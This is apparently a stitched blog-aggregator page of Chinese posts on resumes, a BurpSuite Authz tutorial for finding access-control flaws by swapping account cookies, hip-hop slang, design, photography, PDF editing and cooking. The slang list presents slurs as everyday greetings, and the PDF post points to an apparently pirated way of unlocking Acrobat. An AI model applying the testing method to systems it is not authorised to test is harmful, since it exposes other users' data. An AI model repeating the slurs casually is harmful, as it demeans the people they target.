**%（结果）。 - 作为主要撰写人（职责），完成了 8000 字的数据分析报告（行动），从数据中总结出
***问题，作为项目第二阶段的实施重点（成果）。
如何开通：
- 用电脑打开 QQ 邮箱：mail.qq.com
- 点击左上角的
设置-体验室-简历 - 开启之后，左侧就会出现
简历修改入口
其他简历排版工具
- Markdown 格式
- 极简 PoleBrief：在线高效制作简历，同时不缺乏功能和美学，极致且简约。
三省吾历
- 是否有错别字、数字笔误、文句歧义？
- 还可精简吗？
- 符合岗位描述吗？关键词加粗了吗？
简而言之，经历中每一个字都经得起面试官的推敲吗？
你的不可替代性，决定了你在职场可以多任性。
投递简历
求职清单表里加入「求职进度」：
- 待投递
- 已投递
- 待面试
- 一面
- 二面
- 群面
- Offer
准备面试
面试自检表
- 自我介绍应该讲什么
- 面试前需要准备什么，例如笔 🖊 和大一点的笔记本 📗
- 面试官问职场规划的时候应该怎么答
- 群面有哪些技巧
- 面试必答题有哪些
- 有哪些面试要注意的坑
- 面试官问:「你有什么想知道的」应该怎么回答?
面试话术
- 公司介绍：规模、量级、行业地位……
- 岗位介绍：职位定位、所在部门、部门规模大小……
- 工作内容：日常工作流、项目经验、考核指标……
- 工作成就：数据化成绩、能力提升……
面试总结
在每次面试结束后，立刻写下面试心得：
- HR 问了什么问题
- 我还可以怎么回答
- 这个岗位有什么需要特别注意的
- 薪酬、待遇、福利
- ……
参考资料
最后，祝读者们都能找到喜欢的工作。Best wishes.
- 博客 Vulkey_Chen's Blog 2019-06-27 00:00:00
BurpSuite - Authz
背景
在平时的测试中，会经常的碰到业务功能较多的站点，如果想全面又快速的完成逻辑越权漏洞的检测不得不借助Authz插件去辅助检测越权问题。
Authz的工作原理
我们平时做测试的时候发现越权问题都是基于修改ID的方式：A的ID改成B的ID然后进行请求查看是否可以越权获取到信息，或当ID的规律已知情况下基于Burp Intruder模块直接去遍历ID。而基于Authz的检测是不一样的，其是将用户认证的HTTP请求头进行修改（Cookie之类的），然后通过响应长度、响应状态码判断是否存在越权；从本质上来讲没有任何区别，只是换了一个角度，但这样的好处是一定程度上的减少了测试的时间（例如：一个商城的业务系统，你有A、B账户，A账户买了个商品获得一个订单信息请求，当你想测试是否能越权获取B账户订单时就需要使用B账户去再购买，然后判断测试。）
BurpSuite Authz插件界面
安装Authz插件
Github地址：https://github.com/portswigger/authz
快速安装->在BurpSuite的BApp Store应用市场可以直接下载安装：
使用Authz插件检测
使用插件检测的前提条件：同个业务系统中两个测试账号
作用：A账户用于功能的操作，B账户用于提供凭证（Cookie或者其他的用户身份凭证请求头）
举例说明：
一个业务系统，将A、B账户登入，同时获取B账户的Cookie或者其他的用户身份凭证请求头，填入到Authz的New Header里：
A账户去请求（Burp别忘了监听着），寻找读取类请求（该类请求要包含ID之类的特征）然后右键请求包将该请求发送到Authz插件内：
发送的请求会在Burp的Authz的Tab标签窗口内：
当收集的差不多了，点击run跑起来：
结果会在Responses处显示：
当原响应内容长度、响应状态码和被修改后请求的响应内容长度、响应状态码一致则会绿。
也就代表着存在越权，单击选择一行即可在下面展示出请求、响应的报文：
这里经过进一步检验（理论上不需要检验，但出于对测试的严谨态度还是检验一下比较好～）顺利的发现了三枚越权访问漏洞。
一个业务系统测完之后就Clear掉所有的东西，接着下一个业务系统咯：
Authz的优点和缺点总结
优点：使用简单、省时省力
缺点：只是适用于检测越权读取类操作，删除编辑类操作还需人工判断。
- 博客 庭说 2019-06-27 00:00:00
你可以在即刻 / 抖音 / 微博 搜索 炸毛熊，获取视频教程。语气词
- Damn
- Yo
称谓
- Bro
- Boy / My boy
- Dawg
- Homie = Homeboy
- Man / My man
- Motherfucker
- Nigga
- Son
打招呼
What up- What's up
- 中文：最近咋样
- 黑化：Yo，窝辣，bro
Sup- What's up 的缩写
- 示例：Sup, dawg
How are you doing- 中文：最近咋样
- 黑化：Yo，马鳗（my man），蚝油豆隐
What the hell is going on- 中文：最近过得怎样
- 黑化：Yo，窝调 ~ 子共弄
You good?- 中文：你还好吗
- 黑化：友个
I am doing good- 中文：我过得挺好
- 黑化：啊顶个
It is good to see you- 中文：很高兴见到你
- 黑化：个的 Sia
It is good to see you back, my man- 中文：真高兴再见到你 / 真高兴见到你回来（Glad to meet you again）
- 黑化：个的 Sia 爸，妈慢
称赞
You look good- 中文：你看起来很不错
- 黑化：Damn，bro，呀了个，numsayin'
- 黑化：Damn，bitch，呀了个，I mean
This shit is goddamn good- 中文：这玩意真™牛 X
- 黑化：Damn，立泻四尬巅个
反感
I don't give a shit- 中文：我一点也不在乎
- 黑化：Ah'n give a shit，都（dawg）
Fuck this shit- 中文：厌倦当下的状态
- 黑化：发力泻
Are you out of your mind- 中文：你是疯了吗
- 黑化：Damn，bitch，一啊了呀埋
再见
Gotta bounce- 中文：撤了
- 黑化：Yeah，嘎了棒丝
I will catch you later- 中文：回头见
- 黑化：阿 K 秋累额，peace
You be cool- 中文：稳当儿（对单人说）
- 黑化：鸭比克
You all be cool- 中文：稳当儿（对多人说）
- 黑化：腰比克
道歉
My Bad- 中文：对不起，我的错，是我不好
- 黑化：妈败
It's all good- 中文：没事，别往心里去
- 黑化：骚个，man
其他
Numsayin'- Do you know what I am saying
- 中文：听懂了吗
I don't know- 中文：我不知道
- 黑化：Ah'n konw，都（dawg）
Get you ass over here, my man- 中文：兄弟过来一下
- 黑化：Get you ass over hee, ma man.
For sure, it's game time- 中文：耍宝时间到了
- 黑化：fo show, it's game time
You got money- 中文：你有钱吗？
- 谐音：敢么了（东北话）
Shit = Thing
Shit可以指代任何东西：I don't give a shit.shit bag蠢货
Dope = Good
That shit is dope.
I'm so fly
- I'm so cool/ great / handsome / rich …
Where you at? = Where are you? 你在哪呢？
Grammar
Double negative
双重否定并不是表肯定，而是起强调作用。
This ain't nobody's dog.=This dog doesn't belong to anybody.Ain't nothing going on.=Nothing's happening.You didn't know nothing.
你一无所知。
ain' t
- ain' t = am not, isn’t, aren’t, hasn’t, haven’t, didn’t
- I ain' t afraid of nothing.
- 博客 Jiajun的编程随想 2019-06-25 08:00:00《Swift语法笔记》## 类型- Int...
- 博客 Jiajun的编程随想 2019-06-23 08:00:00《后端工程师学前端(一): HTML》为了让自己的技能不再那么单一，我决定先后学习前端和iOS开发。此前我的前端技能是零散的、不成体系的，我会系统的将学习历程记录成系列博客：后端工程师学前端...
- 博客 Jiajun的编程随想 2019-06-23 08:00:00《读《管理的实践》》最近把《管理的实践》读了一遍，我认为这本书可以多读几遍，因为这可以提升我们的思维层次，以技术人员一章中的说法为例，为何...
- 博客 庭说 2019-06-21 00:00:00
免费开源的矢量图像编辑器，小巧而强大，强烈推荐设计师人手一份。
区别
首先看一下「矢量图」和平常我们所见的「位图」有什么区别：
项目 位图 矢量图 别称 栅格图、像素图 向量图 构成 由像素（Pixel）组成 由数学方程组成（基于路径） 格式 JPEG、PNG、GIF、PSD SVG、EPS、AI、DWG 优点 色彩丰富，效果逼真 无损缩放、体积小 缺点 放大会变模糊 不能真实地还原物理世界 用途 场景复杂的图像 Logo、插画 软件 Photoshop Illustrator、Inkscape 位图就好比在（巨大的）沙盘上画好的画，当你远观时，真美。但当你靠得非常近的时候，就能看到细腻多彩的画面是由每粒（颜色不可变化的）沙子组成的。
视频介绍
寻找
为了把简单的图像（例如 Logo）矢量化，我尝试过 Adobe Illustrator 的 图像临摹 和在线图像矢量转换工具 Autotrace，直到遇见 Inkscape，我才停下搜寻的脚步：
使用
- 双击
inkscape.exe打开 - 打开（
Ctrl + O）想要矢量化的图片，确定 - 选中图片，依次点击菜单栏
路径>临摹位图轮廓（Shift + Alt + B） - 打开
即时预览，选择对应的模式，确定执行临摹- 简单的 Logo：选择
单个扫描：创建一条路径亮度截断和边缘检测的阈值从默认值开始微调颜色量化扫描模式从最少的颜色开始微调，例如2
- 复杂的图案：选择
多重扫描：创建一组路径- 多试几个模式和参数，你就能找到经验值
- 简单的 Logo：选择
- 效果不满意，「拖走」处于顶层的矢量图，点击原图，修改设定，
确定再次矢量化 - 另存为（
Shift + Ctrl + S）矢量格式
视频教程：inkscape - 哔哩哔哩
- 双击
- 博客 Jiajun的编程随想 2019-06-19 08:00:00《frp 源码阅读与分析(二)：TCP内网穿透的实现》在 [上一篇](https://jiajunhuang.com/articles/2019_06_11-frpc_source_code_part1.md.html) 文章中，我们介绍了frp中的一些概念和基础知识，这一篇中，我们在此前的基础之上，来看看frp是怎么实现TCP内网穿透的...
- 博客 Randy's Blog 2019-06-17 08:00:001694
- 博客 庭说 2019-06-16 00:00:00
先把 Point 理清楚，再考虑有没有 Power。
准备工作
Who
这份 PPT 给谁看？对应考虑配色、文案。
- 商务
- 活泼
Where
这份 PPT 会在哪里呈现？
- 阅读型（用来看）：文件形式、文件大小、完整数据、详细案例（添加页码）
- 演讲型（用来讲）：投影比例、配色方案、动画、音效、大字报
When
- 这份 PPT 什么时候要
- 初稿需要什么时间确定
- 是否需要邀请人员参与会议进行讨论商议
- 用于现场演讲的 PPT 是否可以去现场进行彩排演练
开始工作
逻辑
- 沟通工作
- 明确老板的要求和 PPT 的目的
- 重点呈现哪一方面
- 是否有哪些特别需要指出和强调的关键点
- 寻求同类参考
- 可以询问老板心目中是否有同类型的资料或者项目可供参考学习
- 建立方案逻辑
- 使用思维导图或者 Markdown 等各种方便你整理逻辑的工具
- 百度脑图支持导出和导入 Markdown 文件
- 向上反馈
- 方案逻辑用脑图的方式向上反馈
- 需要补充哪些要点
内容
每一页 PPT 上面放什么？
- 对应逻辑，将内容「搬进去」
- 注意内容的层级及分类
- 注意内容的精炼：大标题 / 副标题用一句话总结
- 查缺补漏：标记出来，汇总之后，统一解决
- 向上反馈：向甲方第二次确认
美化
- 确定风格
- 套用模板
- 自己配色、确定辅助图形
- 填充基本内容
- 美化内容
- 基本原则：亲密、对齐（一个页面只用一种对齐方式）、重复、对比。
- 少用文字：用视频、图片、图表、图标视觉化文字。
- 突出重点：字体放大、加重色块、引导图标。
- 注意留白：页面上下左右均留出一定的页边距，所有的元素、文本、图片不要超出约定范围。
Tips
Word（大纲模式）转 PPT
- 1 级标题 PPT 中的新的一页
- 保存并关闭 Word 文档
- 打开 PowerPoint
- 点击 插入 - 新建幻灯片 - 幻灯片（从大纲）
版面设置
行距
- 1.2 倍 ~ 1.5 倍
- 1.2 倍行距 = 行高是字体大小的 1.2 倍
字号
- 投影用：≥ 28.0 号
- 阅读用：≥ 10.5 号
段间距
- 约 2 个字高的大小。比如：文字为 12 px，段间距为 24 px
主题颜色
使用主题颜色可以随时更改主题颜色，做到全局修改色彩。
文字/背景 - 深色 2：主色文字/背景 - 浅色 2：对比色 / 强调色着色 1 ~ 着色 6：图表 / 表格
iSlide
简单，好用的 PPT 插件。包含 38 个设计辅助功能，8 大在线资源库以及超 20 万专业 PPT 模板/素材。
使用 Emoji 填充图表
参考来源
- 博客 庭说 2019-06-16 00:00:00
设计让生活更美好。
推荐看 oooooohmygosh 的视频，比看我这个有用多了。其中已给视频是 设计本是艺术，何苦把自己活成软件操作员。。
Logo
- Hatchful - Shopify：Logo Maker & Logo Creator - Free Logo Generator Online
- Logo Design Services by Freelance Logo Designers | Fiverr：外包
- SMASHINGLOGO：字型组合多
原则
- 先直观（清晰地传达信息）后美观
- 亲密（Proximity）
- 重复（Repetition）
- 对比（Contrast）要强烈
- 对齐（Alignment）
- 少用居中，除非为了稳重、正式
- 数字增大字号，上基线才能对齐
配色
分类
单色（Monochromatic Color）
- 稳定
- 和平
- 单纯
- 黑白：高雅，严肃，平静，酷
互补色（Complementary Colors）
- 对比强烈，吸引眼球
- 跳跃的、动感的
- 适合作为 Logo 的颜色，不适合用于文字和背景的颜色
分割互补色（Split-Complementary Colors）
- 能量与动态
- 兼顾反差美与和谐美
相似色（Analogous Colors）
- 和谐
- 只想象征一种东西
三色组（Triadic Colors)
- 平衡
- 吸引视线
- 分清三种颜色的主次
配色方案
醒目
黄（FDEB05）+ 黑（000000）+ 灰底（B5B5B5）互补
- 黄色 + 紫色
- 红色 + 绿色
- 蓝色 + 橙色
夜间模式（HSB）
- 背景颜色：H = 品牌色 | S = 20 | 0 < B < 20
- 文字颜色：H = 0 | S = 20 | 20 < B < 50
- 彩色明度（B）降低为 50 左右
- 元素（比如图片）添加 50% 的黑色遮罩
配色网站
- Palettable：找到第一个颜色
- Color Hunt：小清新配色
- Color Calculator：色轮
- 普通人的网页配色方案 - 阮一峰
字体
选字体
根据内容
- 黑体：高效阅读、科技、现代、严肃
- 宋体：韵味、艺术、刻板、古典、印刷、公文
- 楷体：模拟软笔书法、传统、民族、诗歌、散文、情绪化
衬线与否
- 非衬线字体看起来比较现代时尚
- 衬线则古典稳重；有视觉引导的作用，可以加快读者的阅读速度
考虑媒介
- 纸张：尺寸、阅读距离
- 屏幕：尺寸、阅读距离
- 字体类型：字重够不够用
- 字怀大小
其他建议
- x 高度更高的英文字体和中文混排更加和谐
- 升降部较长的字体看起来更加活跃，反之则更沉稳
- 内白较小的字体，如果观看距离比较远，字体的中心可能会糊在一起，而较细的非衬线字体可以保证在远距离观看时字不会糊在一起
字体推荐
- Helvetica：没有一点多余的设计，没有强烈的性格，严肃而规矩
- Futura：几何化，个性强烈，现代；但由于其较低的 x 高度，在小字号的情况下阅读体验可能不是很好
- Proxima Nova：现代，高新科技
- Myriad：人文气息
- Garamond：衬线，历史感
- 思源黑体：字型覆盖广，字重选择多
- 思源宋体：字型覆盖广，字重选择多
选字号
比例
- 正文 / 标题 = 0.618（黄金比例）；标题 / 正文 ≈ 1.5
屏幕
- 标题字号：18 pt ~ 28 pt
- 正文字号：10 pt ~ 14 pt
- 注释字号：06 pt ~ 08 pt
印刷
- 手册、单页、DM 的常用字级不小于 7.5 pt ~ 9 pt
- 海报的常用字级不小于 17 pt ~ 23 pt
- 易拉宝的常用字级不小于 24 pt ~ 28 pt
电视（55 英寸）
- 大标题：80 pt ~ 100 pt
- 小标题：60 pt
- 正文：34 pt
选行高
- 西文的行高是字号的 1.2 倍至 1.5 倍
- 中文的行高是字号的 1.5 倍至 2.0 倍
选行长
- 英文语境下的理想行长是 9 个单词左右
- 中文语境的理想行长是 38 字以内
复查步骤
- 检查文稿：内容、错别字、语法、标点符号
- 字体素质：中文、英文、数字、符号、字重
- 版权问题：是否属于商业用途
免费字体
- 字由 - 字体下载管理工具
- 100font.com：一个专门收集整理免费商用字体的网站
- 猫啃网：免费开源可商用的公益字体网站。
- 这个字体可以商用吗
- 设计资源合集 by 设计便利店
- OPPO Sans
- 阿里巴巴普惠体：只能用不能改
- 优设标题黑
- 思源黑体
- 站酷字体合集：站酷庆科黄油体、站酷文艺体、站酷小薇 LOGO 体、站酷酷黑体、站酷意大利体（ZCOOL Addict Italic）、站酷快乐体、站酷高端黑体
- 方正免费字体合集：方正黑体、方正书宋、方正仿宋、方正楷体（仍需提前获得方正公司的书面授权）
- 庞门正道标题体 2.0 增强版
- 汉仪贤二体：手写 / 文艺 / 休闲 / 可爱 / 浪漫
- 沐瑶软笔手写体
- 手书体中文简体
- 文泉驿正黑体
- 喜鹊造字：可能是性价最高的字体
- 开源 emoji
- OpenMoji：License under CC BY-SA 4.0
- Twemoji：License under CC-BY 4.0
关联阅读
常做海报封面宣传图？试试这 16 款风格强烈的优秀字体 - MakicLin
印刷
印前检查
- 尺寸
- 出血
- 颜色模式：CMYK
- 分辨率：300 ppi
- 图片：置入
- 文字：转曲、黑色文字用单黑
- 清除隐藏的杂点
- 线条：单黑、0.076 mm 以上
- 总墨量（CMYK 总和值）＜250
尺寸
- A5：140 mm × 210 mm
- A4：210 mm × 285 mm
- A3：285 mm × 420 mm
覆膜
- 不覆膜：经济环保，纸质质感，自然柔和
- 覆膜：防水耐用，抗折损，易保存更高档；折页一般需要覆膜，否则折页处会出现裂痕
画册
版式
- 420 × 285 mm
- 出血 3 mm
字体
- 注释字号 6 号（不小于 5 号）
- 正文字号 8 号
- 文字不要用纯黑，用 80% 的单黑（K = 80）
- 相同字号下，英文在视觉上比中文大
印前
- 在 Adobe Arobat 输出预览中，确认是单色黑，点此查阅检查方法。
Tips
图标平铺背景图
- Illustrator：
对象>图案>建立 - Patterninja：可以上传和下载 SVG
长图
- iOS：宽度 812 像素（iPhone X 的逻辑分辨率），正文字号可以设定在 22pt 左右，注释字号设定在 19pt 左右，小节标题设定在 40pt 左右
- Android：宽度 1080 像素，正文字号可以设定在 30pt 左右，注释字号设定在 26pt 左右，小节标题设定在 52pt 左右
书籍
- 《设计中的设计》 by 原研哉
- 《写给大家看的设计书（第 4 版）》
- 《平面设计中的网格系统》
- 《配色设计原理》
- 《设计师要懂心理学》
关联阅读
- 博客 庭说 2019-06-16 00:00:00
不断按下快门，是摄影师的必修课。
摄影基础
拍出好照片
拍什么：聚焦在一件事、一个人或一个物品上，也就是要有一个鲜明的主题（题材）。
怎么拍：把注意力引向被摄主体，这也是构图的意义所在；以及不要分散注意力，保持画面简洁。
陌生感
对于摄影作品，甚至是广泛意义上的艺术作品来说，陌生感是很重要的艺术特性。其中一个很重要的要素就是「不同」，甚至是「怪异的不同」。这些超常规的视觉，会让我们和照片本身突然有了距离感，也正是这个距离产生了美。例如，当你使用超广角时，拿出手机以后不要着急。你先远近高低各不同地找找，也许就会发现很多不一样的角度。
参数解释
快门速度（S）+ 感光值（ISO）= 确定的曝光值（EV），
+表关联。快门
手持形况下，相机不带防抖技术的时候，1/50s 是一个临界线，快于 1/50s 时，手不是特别抖拍出来的画面还是很稳定的，一旦慢于 1/50s 时，就很容易导致画面的抖动。
感光度
英文缩写是 ISO，全称 International Standardization Organization（国际标准化组织）。这个组织把感光度做了量化的规定，例如 SO6（黑白胶片）、ISO 2400（彩色反转片）和 ISO 5800（彩色负片），用来衡量底片（感光元件）对于光的灵敏程度，所以大家也就把 ISO 叫做感光度了。
景深
其实就是一个清晰的范围。而相机所谓的对焦过程，就是把你想要拍摄的主体放置到这个清晰的范围中。这个清晰的范围越短，我们就叫做浅景深，那么背景的模糊虚化也就会越晰。清晰的范围越长，我们叫做深景深，那么背景的模糊虚化越不明显。
直方图
溢出意味着相机无法记录那个亮度以下和或那个亮度以上的亮度像素，左端溢出一般是存在的纯黑的像素，右端的溢出一般是存在的纯白的像素。而这些溢出的部分还没办法通过后期挽救。
手机摄影
感光度 1600 是上限。
降低曝光
无闪光灯
点按画面以后，略微压低一点曝光。不要小看这个操作，就是这样一个简单操作会对你照片的质感有着非常明显的提升。因为目前所有的手机出发点还是记录，所以它的曝光倾向都是为了保证信息充足而尽可能的亮。但这会缺少影调，甚至是让颜色失真。不信，你现在打开手机，自动拍摄一张照片，然后再手动调节降低一点曝光进行拍摄。你会发现两张照片的影调、细腻度、色彩感，完全不一致。
有闪光灯
相机中的闪光灯默认的曝光倾向都是为了使面中的主体更亮，所以都会有着一定的过度曝光的倾向。所以为了能够让你的拍摄成功率更好，使用闪光灯时一定要主动的降低画面的曝光。直接闪光对于拍摄一些柔和的少女人像可能不太友好。这里也有一个很重要的技巧，就是学会柔光。比如我们可以在闪光灯前罩上一些半透明的介质，甚至是白色的纸巾都可以。这样你会发现补充的光线会自然柔和一些。
人像摄影
Pose
- 摸耳朵
- 托腮
- 回眸连拍
- 侧着站比正面站更有层次感
- 更多 Pose，去 FindPose 看看
与环境互动，融入场景中
- 与花草互动
- 增加前景：比如树叶
- 推开门的瞬间
- 拿道具挡住身体的一部分，例如你的脸
- 透过玻璃窗拍摄
全景模式
- 横屏：预留好模特脚下的空间
- 竖屏：拍摄（对称）分身照
参考资料
相机摄影
静止物体：我们使用「AF-S」，也就自动单点锁定对焦，选定一个对焦后，移动相机对焦点不更改。这时候，就是我们最为经典的「先对焦，再构图」的方式。具体操作：使用单点中间对焦，半按快门锁定对焦，在移动相机（平行于焦平面，也就是左右移动，不要前后移动）进行构图，再按下快门进行拍摄。
运动物体：建议使用连续自动对焦，也就是 AF-C。这个对焦方式是说相机会跟随画面中移动的主体进行移动，然后进行拍摄。
取景器
- 不是显示器（显示屏幕）
- 可以直接表现实际拍摄效果，这也是微单比单反更友好的原因（单反看到的是外界实际景象，不是拍摄后的）
- 可以进行屈光度的调节的，简单来说，就是可以根据每个人的近视程度进行调节
A：光圈优先模式
- 自己决定光圈，其它相机决定。调节滚轮调节光圈大小，转动拨轮调节曝光补偿
- A 档之所以常用，是因为我们很多时候以人像拍摄为主，尽可能地使用最大光圈（数值最小）就可以获得不错的效果
AF/MF
- 自动对焦 / 手动对焦
AEL
- 曝光锁定
风光摄影
风光摄影的三段式拍摄手法：远景 + 中景 + 近景。所以几乎所有的职业风光摄影师一半的时间是在去风景的路上，而另一半是在找近景的路上。有近景的画面不仅仅是因为近景的加入多了一些层次，更重要的是还让画面中有了一种立体感。
摄影 Tips
- 正午：冲着阳光，闭眼拍照
- 模特不自然：先望向别处，拍摄时再看镜头
- 利用广角畸变拍出大长腿：脚尖不用触及屏幕底部
- 把眼睛放在参考线三分之一
- 如果你刚刚开始学习人像拍摄，和模特沟通永远是第一位。当你想要一个动作，最好的方式就是示范给她看。而对女性拍摄来说，让身体呈现优美的「S」形，肯定不会出错。
- 合照：纵深环形排列 + 俯拍才有层次感
- 修图：剪影可以用 Snapseed 局部调整功能。
参考资料
- 博客 庭说 2019-06-16 00:00:00
PDF 是 Adobe 在 1993 年发明，所以使用 Adobe Acrobat Pro 可以编辑 PDF 方方面面：裁剪、拆分、合并、导出图片、排序、OCR（识别文本）等。本文主要讲讲裁剪和拆分功能。
如何解锁 Adobe Acrobat Pro 的全部功能，找找「赢政天下」：
- 微博：@vposy
- 搜索引擎：
Adobe Acrobat Pro + vposy
裁剪 PDF
使用 Adobe Acrobat Pro 中的
裁剪页面工具和设置页面框对话框来调整可见页面区域。通过裁剪页面，可以使组成 PDF 的不同大小的页面保持一致。法一
- 打开 PDF
- 菜单栏「视图」- 显示/隐藏 - 导览窗格 - 页面缩略图
- Ctrl + A
- 右键，选择「裁剪页面」
- 应用到「裁剪框」 -> 上下左右输入裁剪值 -> 页面范围：「所有页面」
- 确定
- 另存为
法二
- 打开 PDF
- 「工具」 -> 「印刷制作」 -> 「设置页面框」 -> 应用到「裁剪框」 -> 上下左右输入裁剪值 -> 页面范围：「所有页面」
- 确定
- 另存为
关联阅读
拆分 PDF
- 打开 PDF
- 点击
工具>组织页面>拆分
关联阅读
- 博客 Jiajun的编程随想 2019-06-15 08:00:00《五天不用微信 - 爽得很》上周突发奇想，在自己身上做了一个实验，如果生活没有了微信，将会发生什么？于是就在朋友圈发了一条“停用微信一段时间，有事邮件、电话、tg联系”之后把微信卸载了...
- 博客 Randy's Blog 2019-06-13 08:00:001700
- 博客 庭说 2019-06-13 00:00:00
做菜让我安宁（但是洗碗让我狰狞）。Since I learned how to cook, my life has become a smorgasbord of interesting tales. Homemade, peace.
📝 待学教程
收集的教程，有空就看看，没看就自己琢磨，不必一步到位。
- 自我隔离前去了趟盒马超市，这些都是值得「囤」的 - Mio是8不是7
- 盒马有什么值得买？
- 好好吃饭，天天学习——两小时完成一周的备餐 - VictoriaY
- 番茄汁肉末烧豆角
- 15 分钟吃上晚餐 - 曼食慢语
- 食材简单 A+B，属于工作日的一锅流 - 好大一个包
曼食慢语 Amanda Tastes
- 3 分钟吃上早餐，绝不浪费懒觉时间 breakfast mealprep, 5 recipes for a month丨曼食慢语 - YouTube
- 一周午餐一次搞定——真的能做到吗？prepare lunch boxes for all workdays at once（meal prepQ&A）丨曼食慢语 - YouTube
- 快乐减脂餐！一次搞定一周便当 meal prep for 1 week low-fat lunch-box in 2 hours丨曼食慢语 - YouTube
- 拒绝难吃的减脂餐！超好吃一周减脂便当一次搞定 - 曼食慢语
🔪 购买厨具
厨具 推荐 价格 选购要点 🔪 菜刀 中式片刀：邓家刀 TM-9050
三德刀：藤次郎 F-311
面包刀：贝印￥98
￥369
￥89🍳 锅 HAPPYCALL 平底不粘锅 30 cm
吉川雪平锅 18 cm￥309
￥158不粘锅不用太贵 不锈钢刨刀 悦味 Taste plus ￥29.9 ✂ 厨房剪刀 Mastrad ￥99 电子秤 香山厨房秤 ￥50 砧板 Neoflam 中号砧板
吉川中号砧板￥49
￥140避开木质和竹制
备两块，生熟分开蒸架 不锈钢伸缩蒸架 ￥19.9 厨房夹 带伸缩开关的硅胶厨房夹 ￥20 封口夹 ￥1 不要扣合式 密封保鲜袋 宜家 ￥19.9 硅胶保鲜盖 德味一 DeliOne 三件套 ￥44 玻璃密封罐 Weck 50mL ￥15 丝瓜络 ￥5 纳米擦 ￥1 厨房湿纸巾 妮飘 ￥15 擦油污 厨房纸 Bounty（盒马鲜生） ￥30 吸水性强 不粘锅
- 首次使用前，要把标贴撕去，用清水冲洗并抹干，涂上一层薄薄的食用油（牛油及猪油除外）作为保养，再清洗后方可使用。
- 优先使用硅胶铲、尼龙铲或木制铲，避免尖锐的器具或食物（花甲）破坏不粘涂层。洗涮不粘锅的时候尽量使用软布或海绵清洗。
- 避免高温（220 ℃ 以下）和干烧：先放油，再开火。
- 使用时降低温差。
- 炒菜过程中加开水而不是冷水。
- 放凉后用冷水清洗，或使用热水清洗。
- 涂层脱落之后应及时更换锅具（1 到 2 年）。
其他资料
- 视频：如何开锅
首次使用竹砧板 🎋
- 清水冲洗
- 晾干后用食用油涂抹砧板表面
- 待食用油被吸收后（呈现光泽）便可正常使用
注意事项
- 使用后将其洗净擦干，竖置于砧板架之上，并放在通风干燥的地方
- 定期在竹砧板表面涂抹一层食用油，用以滋润竹纤维
- 一到两周开水烫洗 1 次
- 不可暴晒、高温消毒、长时间水中浸泡、蒸煮和洗碗机洗涤
- 若有异味，用柠檬和粗盐来清洗
- 若过于油腻，用热水来刷洗（禁止使用锅刷）
- 若有霉点，可将白醋和水按 1:2 来勾兑，煮沸后，将其用来浸泡霉点，或直接涂刷在霉点处，经晒干后再涂上一层食用油
- 如有条件，可买两块砧板，生熟肉分开使用，减少食物细菌交叉滋生
- by 炊大皇
🧂 购买调味料
🧂 味精
- 味精的主要成分是谷氨酸钠，谷氨酸钠水解（90℃）为谷氨酸，而谷氨酸有鲜味（120℃ 以上失效）
- 鸡肉、猪肉、牛肉等蛋白质或干香菇、松茸等菇菌类经过熬煮，自己可以产生鲜味物质，所以不用再放味精了
- 放醋的菜、凉拌菜、甜味菜、馅料不加味精
🦪 蚝油
不要用蚝油来制作炖、煮类的菜肴，蚝油在长时间的高温下，鲜味和香味都会流失掉，而且营养成分也受到了破坏，甚至会破坏菜肴的味道。为了更好的保留蚝油的鲜味儿，建议最好出锅前再倒入蚝油，避免因加热使鲜味儿降低。
开启后的蚝油最好存放在冰箱中，或者阴凉清洁的地方，并保持盖子密闭。
若使用了蚝油就无需再另外加入味精或鸡精。
👍 推荐产品
品牌 型号 价格 欣和 味达美臻品蚝油 510g ￥14.00 味事达（Master） 味极鲜蚝油 510 g ￥10.30 🔗 信息来源：蚝油配方大起底，哪款蚝油才是真的「好」- 消费者报道
🍶料酒
气泡绵密持久、晾晒后液体有粘稠度则为品质好的料酒。
👍推荐产品
品牌 型号 价格 千禾 糯米零添加料酒 1 L ￥15.90 老恒和 零添加料酒 500 mL ￥10.40 🔗信息来源：对瓶吹 14 款料酒，Ta 才是「去腥利器」- 町芒评测
🍚酱油
- 优选酿造酱油：以大豆和/或脱脂大豆、小麦和/或麸皮为原料，经微生物发酵制而成的。
- 卫生指标等级：佐餐用酱油既可以直接入口，也可以用于烹饪炒菜；烹饪用酱油用于烹饪炒菜，最好不要直接食用。
- 配料表成分简单：如果只有水、盐、大豆、小麦等 4 种成分，那么它可以作为高品质酱油的候选。
- 留意配料表顺序：大豆、小麦必须排在最前面，因为越靠前用料越多。
- 氨基酸态氮含量：通过上面 2 步筛选，这个时候对比氨基酸态氮才有意义，一般 0.8 g / 100 mL（特级品）以上比较好（数值越高，味道越鲜），但是在挑选高等级的酱油时，一定要看配料中有没有添加谷氨酸钠。如果有，那么这个等级，也就失去了参考的意义。
- 低盐
👍 推荐产品
品牌 型号 价格 大字牌 减盐酱油 500 mL 海淘 欣和 六月鲜特级酱油 500 mL ￥12.80 🔗 信息来源
勾芡
🛒 购买食材
叮咚买菜
在叮咚买菜选购肉类时，备注「要今天或昨天上市的新鲜肉类」。一定要尽可能选择带有「0-4℃冷鲜」这样标识的菜品，因为这些大致都是昨天或今天现杀的新鲜货；如果是有「-18℃ 以下冷冻」这样标识的菜品，那基本上都是冰冻时间较长的菜了。
每日优鲜
买冷冻的蔬菜粒。
📦 存储食物
绿叶菜保鲜：冰箱冷藏保存
先摘掉软掉的叶子，把青菜清洗干净，甩干水分或者用厨房用纸吸干，然后用喷湿的厨房用纸包起放进保鲜盒或密封袋，直立冷藏，大概保鲜 3 天至 4 天。
菇类保鲜：密封冷藏保存
菌菇类忌潮，所以不要清洗，菇伞朝下，用密封袋或者保鲜盒装好放进冰箱冷藏，保鲜3 天至 4 天。
金针菇可以放在厨房纸巾上吸掉多余水分，放入密封袋密封冷藏保存，可以坚持 1 个星期左右。
根茎类保鲜：常温避光保存
适用于山药、土豆、红薯、南瓜等蔬菜，将这些用报纸包裹，装在纸箱里，放在阴凉干燥处即可，自带泥土不用清洗，也能起到保鲜作用，一般可以储存一个月以上。
Tips
- 密封袋跟盒子可以循环利用。
- 包裹蔬菜的厨房用纸还可以用来擦灶台等。
❄️ 冰箱用法
🌡 调温度
- 冷藏室：4℃ 以下
- 冷冻室：-18℃ 左右
- 假设冰箱的旋钮分 0 至 7 档，数字越大，温度越低
- 夏天 2 档：为了达到设定的低温，压缩机得不停运转，缩短冰箱使用寿命，所以不能调太冷。
- 春秋 3 档
- 冬天 4 至 5 档：冷藏跟冷冻共用一套系统。冬天室温低，当设定温度跟室温相差不大，压缩机就开始犯懒罢工，上层是够冷了，却可能导致下层的冷冻室温度不够低。
📍 该放哪
